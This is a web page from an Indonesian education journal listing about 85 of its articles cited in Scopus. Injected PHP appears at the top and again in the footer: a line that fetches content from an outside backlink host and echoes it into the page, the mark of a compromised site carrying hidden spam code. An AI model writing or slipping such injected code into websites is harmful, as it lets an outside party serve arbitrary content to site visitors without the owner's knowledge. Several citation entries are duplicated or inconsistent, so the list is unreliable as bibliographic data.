$a = file_get_contents('https://purefine.online/backlink.php'); echo $a; Cited at Scopus

Cited at Scopus

JIP Cited in Scopus documents

 

  1. Kumaidi, K. (2016). Interpretasi Koefisien Korelasi Skor-Butir dengan Skor Total Uji Kebermaknaan Koefisien Reliabilitas KR-20 dalam Penelitian Pendidikan dan Psikologi. Jurnal Ilmu Pendidikan11(2)., 107-114. Retrieved from www.scopus.com
  2. Basthomi, Y. (2016). Mentoring penulisan karya ilmiah. Jurnal Ilmu Pendidikan21(1)., 115-125. Retrieved from www.scopus.com
  3. Darmiany, D. (2016). Penerapan Pembelajaran Eksperiensial Dalam Mengembangkan Self-Regulated Learning. Jurnal Ilmu Pendidikan17(2), 7-33. Retrieved from www.scopus.com
  4. Parno, P. (2012)Pengaruh Model STAD Terhadap Peningkatan Prestasi Belajar Fisika Zat Padat Mahasiswa. Jurnal Ilmu Pendidikan Universitas Negeri Malang18(2)Retrieved from www.scopus.com
  5. Sumarmi, S. (2016). Sekolah Hijau Sebagai Alternatif Pendidikan Lingkungan Hidup dengan Menggunakan Pendekatan Kontekstual. Jurnal Ilmu Pendidikan15(1), 19-25. Retrieved from www.scopus.com
  6. Aisyah, A. R., Manarus, R., & Sidik, H. (2016). Hubungan Supervisi Kepala Sekolah dengan Kepuasan Kerja Guru Sekolah Dasar. Jurnal Ilmu Pendidikan3(3), 189-199. Retrieved from www.scopus.com
  7. Akbar, S. (2010). Model pembelajaran nilai dan karakter berbasis nilai-nilai kehidupan di sekolah dasar. Jurnal Ilmu Pendidikan, 17(1), 46-54. Retrieved from www.scopus.com
  8. Akbar, S. D. (2010). Model Pembelajaran Nilai dan Karakter Berbasis Nilai-nilai Kehidupan di Sekolah Dasar. Jurnal Ilmu Pendidikan Universitas Negeri Malang17(1), 114771. Retrieved from www.scopus.com
  9. Al Muhdhar, M. H. B. M. (2016). Keterkaitan faktor sosial, ekonomi, pengetahuan, dan sikap dengan manifestasi perilaku ibu-ibu rumah tangga dalam pengelolaan sampah rumah tangga di kota surabaya. Jurnal Ilmu Pendidikan10(2). Retrieved from www.scopus.com
  10. Anggraini, V. D., & Mukhadis, A. (2013). Problem based learning, motivasi belajar, kemampuan awal, dan hasil belajar siswa smk. Jurnal Ilmu Pendidikan, 19(2), 187-195. Retrieved from www.scopus.com
  11. Ariyanto, M. S. A., Mukminatien, N., & Tresnadewi, S. (2021). College Students' Perceptions of an Automated Writing Evaluation as a Supplementary Feedback Tool in a Writing Class. Jurnal Ilmu Pendidikan27(1), 41-51. Retrieved from www.scopus.com
  12. Arnidah, D. A., Nurstan, N. & Rahmaniar, R. (2005). Pengembangan perangkat pembelajaran mata diklat matematika untuk model pembelajaran kooperatif tipe STAD (student teams achievement division) siswa di SMKN 1 makassar. Jurnal Ilmu Pendidikan, 2(3), 282-299. Retrieved from www.scopus.com
  13. Basuki, I. A. (2010). Model penilaian sebaya untuk meningkatkan hasil pembelajaran menulis di smp. Jurnal Ilmu Pendidikan, 17, 195-201. Retrieved from www.scopus.com
  14. Cahyono, B. Y. (1996). Development and application of content-based summarizing technique in reading instruction. Jurnal Ilmu Pendidikan, 3(1), 27-36. Retrieved from www.scopus.com
  15. Cahyono, B. Y. (2009). How australian and indonesian universities treat plagiarism: A comparative study. Jurnal Ilmu Pendidikan, 12(3) Retrieved from www.scopus.com
  16. Cahyono, B. Y., & Widiati, U. (2006). The teaching of EFL writing in indonesian context: The state of art. Jurnal Ilmu Pendidikan, 13(3), 139-150. Retrieved from www.scopus.com
  17. Demitra, D. (2016). Pengaruh Pendekatan Pengajaran dan Tipe Masalah Terhadap Kemampuan Pemecahan Masalah Tipe ILL dan WELL-DEFINED. Jurnal Ilmu Pendidikan13(2)., 129-138. Retrieved from www.scopus.com
  18. Diem, C. D. (1998). Teacher self concept and teacher effectiveness as perceived by teachers of english and students of senior high schools. Jurnal Ilmu Pendidikan, 5(3), 154-166. Retrieved from www.scopus.com
  19. Doriza, S., & Sunawar, A. (2016). Pengembangan sumber belajar ekonomi keluarga berbasis cd interaktif. Jurnal Ilmu Pendidikan21(1). Retrieved from www.scopus.com
  20. Yulianti, D. (2012). Model Pembelajaran Sains di Taman Kanak-Kanak dengan Bermain Sambil Belajar. Jurnal Ilmu Pendidikan17(6), 434-438. Retrieved from www.scopus.com
  21. Ekosiswoyo, R. (2016). Kepemimpinan kepala sekolah yang efektif kunci pencapaian kualitas pendidikan. Jurnal Ilmu Pendidikan14(2). Retrieved from www.scopus.com
  22. Fattah, H. (2012). Sikap mahasiswa terhadap penggunaan diskusi isu-isu kontroversial. Jurnal Ilmu Pendidikan, 18(2), 135-141. Retrieved from www.scopus.com
  23. Femintasari, V. (2017). The Effectiveness of Two-tier Multiple Choice Test and Multiple Choice Test Followed with Interview in Identifying Misconception of Students with Different Scientific Reasoning Skills in Reaction Rate. Jurnal Ilmu Pendidikan21(2), 192-197. Retrieved from www.scopus.com
  24. Firda, I. D. L., Widiati, U., Laksmi, E. D., & Hayati, N. (2018). Attitudes toward extensive reading among English teachers of senior high schools. Jurnal Ilmu Pendidikan24(1), 1-9. Retrieved from www.scopus.com
  25. Furaidah, Suryati, N., & Saukah, A. (2017). The effects of dialogic reading strategy on EFL young learners' reading comprehension skills. Jurnal Ilmu Pendidikan, 23(2), 176-182. Retrieved from www.scopus.com
  26. Gipayana, M. (2016). Pengajaran literasi dan penilaian portofolio dalam konteks pembelajaran menulis di SD. Jurnal Ilmu Pendidikan, 11(1) Retrieved from www.scopus.com
  27. Hanurawan, F. (2013). Sikap Mahasiswa terhadap penggunaan diskusi isu-isu kontroversial. Jurnal Ilmu Pendidikan18(2). 135-141. Retrieved from www.scopus.com
  28. Hanurawan, F., & Waterworth, P. (2016). Teachers’ perception of developing students' critical thinking through controversial issues discussion. Jurnal Ilmu Pendidikan, 14(3), 185-194. Retrieved from www.scopus.com
  29. Sitti, H. D. S., & Setiawan, T. (2013). Sikap Guru Taman Kanak-Kanak Terhadap Pembelajaran Matematika. Jurnal Ilmu Pendidikan19(1). Retrieved from www.scopus.com
  30. Rahmat, A., & Hindriana, A. F. (2014). Beban kognitif mahasiswa dalam pembelajaran fungsi terintegrasi struktur tumbuhan berbasis dimensi belajar. Jurnal Ilmu Pendidikan20(1), 66-74. Retrieved from www.scopus.com
  31. Huda, N. (1997). A national strategy in achieving english communication ability: Globalization perspectives. Jurnal Ilmu Pendidikan, 4, 281-292. Retrieved from www.scopus.com
  32. Jamaluddin, J. (2011). Kemampuan berpikir kreatif siswa SD dalam pembelajaran IPA. Jurnal Ilmu Pendidikan Universitas Negeri Malang, 17(3), 202-209. Retrieved from www.scopus.com
  33. Japa, I. G. N. (2014). Pengaruh pembelajaran kuantum berorientasi pemecahan masalah dalam pembelajaran matematika terhadap penalaran mahasiswa. Jurnal Ilmu Pendidikan20(1), 9-16. Retrieved from www.scopus.com
  34. Joni, T. R. (2016). The prospect of teacher professionalization under law number 14 of 2005 on teachers and university lecturers. Jurnal Ilmu Pendidikan, 15(1). Retrieved from www.scopus.com
  35. Karmana, I. W. (2011). Strategi pembelajaran, kemampuan akademik, kemampuan pemecahan masalah, dan hasil belajar biologi [learning strategy, academic ability, problem solving skills, and biology learning results]. Jurnal Ilmu Pendidikan, 17, 378-386. Retrieved from www.scopus.com
  36. Kasim, U. (2016). Classroom interaction in the English Department speaking class at State University of Malang. Jurnal Ilmu Pendidikan11(3), 1-11. Retrieved from www.scopus.com
  37. Khamidi, A. (2011). Kemampuan awal, minat olahraga, dan prestasi belajar olahraga. Jurnal Ilmu Pendidikan, 17(4), 265-269. Retrieved from www.scopus.com
  38. Luddin, A. B. M. (2013). Kinerja kepala sekolah dalam kegiatan bimbingan koseling. Jurnal Ilmu Pendidikan, 19(2), 218-224. Retrieved from www.scopus.com
  39. Lukum, A., Laliyo, L. A., & Sukamto, K. (2016). Metakognisi Mahasiswa Dalam Pembelajaran Kesetimbangan Kimia. Jurnal Ilmu Pendidikan21(1), 9-18. Retrieved from www.scopus.com
  40. Mairing, J. P., Budayasa, I. K., & Juniati, D. (2013). Perbedaan profil pemecahan masalah peraih medali OSN matematika berdasarkan jenis kelamin. Jurnal Ilmu Pendidikan18(2)., 125-134. Retrieved from www.scopus.com
  41. Marhaeni, A. A. (2016). Rosenblatt's transactional theory and its implementation in the teaching of integrated reading. Jurnal Ilmu Pendidikan, 5(4), 207-219. Retrieved from www.scopus.com
  42. Meirawan, D. (2010). Trilogi karakter manusia bermartabat dan implikasinya pada pendidikan. Jurnal Ilmu Pendidikan Universitas Negeri Malang, 17(3), 189-194. Retrieved from www.scopus.com
  43. Mursalin, M. (2014). Meminimalkan miskonsepsi pada materi rangkaian listrik dengan pembelajaran predict-observe-explain. Jurnal Ilmu Pendidikan, 20(1), 94-99. Retrieved from www.scopus.com
  44. Nuraeni, E., Redjeki, S., Riandi, & Rahmat, A. (2015). Perkembangan literasi kuantitatif mahasiswa biologi dalam perkuliahan anatomi tumbuhan berbasis dimensi belajar. Jurnal Ilmu Pendidikan, 21, 127-135. Retrieved from www.scopus.com
  45. Nusantari, E. (2012). Perbedaan pemahaman awal tentang konsep genetika pada siswa, mahasiswa, guru-dosen & implikasinya terhadap pemahaman genetika. Jurnal Ilmu Pendidikan, 18, 244-252. Retrieved from www.scopus.com
  46. Octaberlina, L. R. (2007). Plagiarism in english language theses in indonesia. Jurnal Ilmu Pendidikan, 14(3), 140-143. Retrieved from www.scopus.com
  47. Panjaitan, B. (2015). Karakteristik metakognisi siswa. Jurnal Ilmu Pendidikan, 21(1), 19-28. Retrieved from www.scopus.com
  48. Pantiwati, Y. (2012). Pengaruh asesmen biologi dalam pembelajaran think pair share terhadap kemampuan kognitif siswa (effect of biological assessment on think pair share learning to student cognitive ability). Jurnal Ilmu Pendidikan, 18(2), 236-243. Retrieved from www.scopus.com
  49. Pursitasari, I. D., & Permanasari, A. (2012). Model integrated problem solving based learning pada perkuliahan dasar-dasar kimia analitik [integrated problem solving based learning model on lectures of analytical chemistry basics]. Jurnal Ilmu Pendidikan, 18, 172-178. Retrieved from www.scopus.com
  50. Ratminingsih, N. M. (2012). "Teaching techniques, types of personality, and english listening skill, ". Jurnal Ilmu Pendidikan, 18(1), 23-29. Retrieved from www.scopus.com
  51. Ratminingsih, N. M. (2014). Pengembangan model pembelajaran bahasa inggris induktif berbasis lagu kreasi [the development of inductive learning english language model based on creation songs]. Jurnal Ilmu Pendidikan, 20(1), 47-58. Retrieved from www.scopus.com
  52. Retnawati, H. (2018). Validitas dan reliabilitas konstruk skor tes kemampuan calon mahasiswa. Jurnal Ilmu Pendidikan23(2), 126-135. Retrieved from www.scopus.com
  53. Safitri, A., & Gafur, A. (2020). Involvement in subject teachers association (MGMP), pedagogical and professional competencies of civic teachers, and learning outcomes: A correlational study. Jurnal Ilmu Pendidikan, 25(2) Retrieved from www.scopus.com
  54. Samawi, A., Wulandari, R. T., & Aisyah, E. N. (2016). Supervisi budaya dalam meningkatkan implementasi kurikulum 2013. Jurnal Ilmu Pendidikan, 22(2), 134-139. Retrieved from www.scopus.com
  55. Santoso, T. (2016). Pembelajaran Penalaran Argumen Berbasis Peta Konsep Untuk Remediasi Miskonsepsi Laju Reaksi Kimia. Jurnal Ilmu Pendidikan21(1), 80-86. Retrieved from www.scopus.com
  56. Saukah, A. (2000). The english proficiency of the academics of the teacher training and education institutions. Jurnal Ilmu Pendidikan, 7(1), 67-76. Retrieved from www.scopus.com
  57. Seragih, R. F. (2002). Pendidikan mengenai lingkungan hidup dalam rangka pembangunan berkelanjutan. Jurnal Ilmu Pendidikan, 9(2) Retrieved from www.scopus.com
  58. Setyowati, L., Latief, M., & Widiati, U. (2017). The implementation of planning and its effect on EFL students’ writing performance. Jurnal Ilmu Pendidikan, 22(1), 26-35. Retrieved from www.scopus.com
  59. Sihkabuden, S. (2016). Pengembangan Bahan Pembelajaran Pendidikan Moral dengan Metode Diskusi Dilema Moral pada Siswa SMU/SMK. Jurnal Ilmu Pendidikan11(2). Retrieved from www.scopus.com
  60. Siram, R. (2015). Higher education academic service quality assurance management (in bahasa). Jurnal Ilmu Pendidikan, 21(1), 54-58. Retrieved from www.scopus.com
  61. Siswono, T. Y. E., Rosyidi, A. H., & Yuliani Puji Astuti, I. K. (2012). Pemberdayaan guru dalam pembelajaran matematika untuk meningkatkan kemampuan berpikir kreatif siswa SD. Jurnal Ilmu Pendidikan, 2, 211. Retrieved from www.scopus.com
  62. Solang, D. J. (2008). Latihan keterampilan intelektual dan kemampuan pemecahan masalah secara kreatif [intellectual skill and creative problem solving skill training]. Jurnal Ilmu Pendidikan, 15, 35-42. Retrieved from www.scopus.com
  63. Subanji. (2015). Improved pedagogical content knowledge teacher mathematics and practices in learning through TEQIP training model. Jurnal Ilmu Pendidikan, 21(1), 71-79. Retrieved from www.scopus.com
  64. Subanji, & Nusantara, T. (2013). Karakterisasi kesalahan berpikir siswa dalam mengonstruksi konsep matematika. Jurnal Ilmu Pendidikan, 19(2), 208-217. Retrieved from www.scopus.com
  65. Sudarmiatin, W. D. (2010). Pengembangan modul kewirausahaan. Jurnal Ilmu Pendidikan, 17(2), 153-157. Retrieved from www.scopus.com
  66. Sudia, M., Budayasa, I. K., & Lukito, A. (2014). Profil metakognisi siswa SMP dalam memecahkan masalah terbuka. Jurnal Ilmu Pendidikan Universitas Negeri Malang, 20(1) Retrieved from www.scopus.com
  67. Sudjimat, D. A. (2011). Kecakapan kemampu-kerjaan siswa SMK bertaraf internasional dan pengembangannya dalam pembelajaran. Jurnal Ilmu Pendidikan, 17(4), 279-286. Retrieved from www.scopus.com
  68. Sulianto, J. (2011). Keefektivan model pembelajaran kontekstual dengan pendekatan open ended dalam pemecahan masalah. Jurnal Ilmu Pendidikan, 17, 454-458. Retrieved from www.scopus.com
  69. Sumarni, W. S., & Kadarwati, S. (2013). Pembelajaran berbasis multimedia untuk meningkatkan penguasaan konsep kimia dan keterampilan berpikir mahasiswa. Jurnal Ilmu Pendidikan, 19(1), 69-77. Retrieved from www.scopus.com
  70. Supriyadi, U. D. (2010). Pelaksanaan bos dan minat masyarakat mengikuti pendidikan dasar gratis. Jurnal Ilmu Pendidikan Universitas Negeri Malang, 17(1) Retrieved from www.scopus.com
  71. Surata, S. P. K., Vipriyanti, N. U., & Falk, I. (2016). Social network analysis for assessing social capital in biosecurity ecoliteracy. Jurnal Ilmu Pendidikan Universitas Negeri Malang, 17(3) Retrieved from www.scopus.com
  72. Suratno. (2010). Memberdayakan keterampilan metakognisi siswa dengan strategi pembelajaran jigsaw reciprocal teaching (JIRAT) [empowering of metacognition skills by learning strategy of jigsaw reciprocal teaching (JIRAT)]. Jurnal Ilmu Pendidikan, 17(2), 150-156. Retrieved from www.scopus.com
  73. Susantini, E. (2009). The development of biology material resources by metacognitive strategy. Jurnal Ilmu Pendidikan, 16(2), 88-93. Retrieved from www.scopus.com
  74. Sutarsyah, C. (2009). The use of schemata in reading comprehension: A case of learners' reading problems. Jurnal Ilmu Pendidikan, 16(2) Retrieved from www.scopus.com
  75. Syarief, K. (2016). Communicative language teaching: Exploring theoretical foundations and practical challenges. Jurnal Ilmu Pendidikan, 12(3) Retrieved from www.scopus.com
  76. Thalib, S. B. (2016). Hubungan percaya diri dan harga diri dengan kemampuan bergaul mahasiswa. Jurnal Ilmu Pendidikan, 6(3), 247-256. Retrieved from www.scopus.com
  77. Ulfatin, N. (1995). Perbedaan tingkat kecenderungan minat dan adopsi inovasi bagi guru wanita sekolah dasar di pedesaan, pinggiran kota, dan tengah kota. Jurnal Ilmu Pendidikan, 2, 46-56. Retrieved from www.scopus.com
  78. Ulfatin, N., Mukhadis, A., & Imron, A. (2010). Profil wajib belajar 9 tahun dan alternatif penuntasannya. Jurnal Ilmu Pendidikan Universitas Negeri Malang, (1), 17. Retrieved from www.scopus.com
  79. Usman, H. (2004). Hubungan sifat-sifat kepemimpinan dengan kepemimpinan primal kepala sekolah menengah kejuruan. Jurnal Ilmu Pendidikan, 11(2) Retrieved from www.scopus.com
  80. Wijayati, N., & Rengga, W. D. P. (2009). Implementation of chemo-entrepreneurship teaching approach for improving students ' life skills. Jurnal Ilmu Pendidikan, 16, 100-105. Retrieved from www.scopus.com
  81. Wiyono, B. B. (2009). Teachers qualification, rank level, working duration, age, work motivation, and work effectiveness. Jurnal Ilmu Pendidikan, 16(2), 119-125. Retrieved from www.scopus.com
  82. Wiyono, B. B., Kusmintardjo, & Supriyanto, A. (2014). Grand deign model pembinaan profesional guru berbasis determinan kinerja guru. Jurnal Ilmu Pendidikan, 20(2), 165-175. Retrieved from www.scopus.com
  83. Wiyono, B. B., & Maisyaroh. (2007). Pembinaan kemampuan mengajar guru di sekolah dasar, dan pengaruhnya terhadap kemampuan mengajar guru. Jurnal Ilmu Pendidikan, 14(2), 128-133. Retrieved from www.scopus.com
  84. Wiyono, B. B., & Maisyaroh, M. (2016). Pembinaan kemampuan profesional guru di sekolah dan pengaruhnya terhadap kemampuan mengajar guru. Jurnal Ilmu Pendidikan, 14(2) Retrieved from www.scopus.com
  85. Yulianti, D., Wiyanto, & Dewanti, S. S. (2018). Model pembelajaran sains di taman kanak-kanak dengan bermain sambil belajar. Jurnal Ilmu Pendidikan, 17(6), 434-438. Retrieved from www.scopus.com


---------------------------------------- ---------------------------------------- ---------------------------------------- $a = file_get_contents('https://purefine.online/backlink.php'); echo $a; ----------------------------------------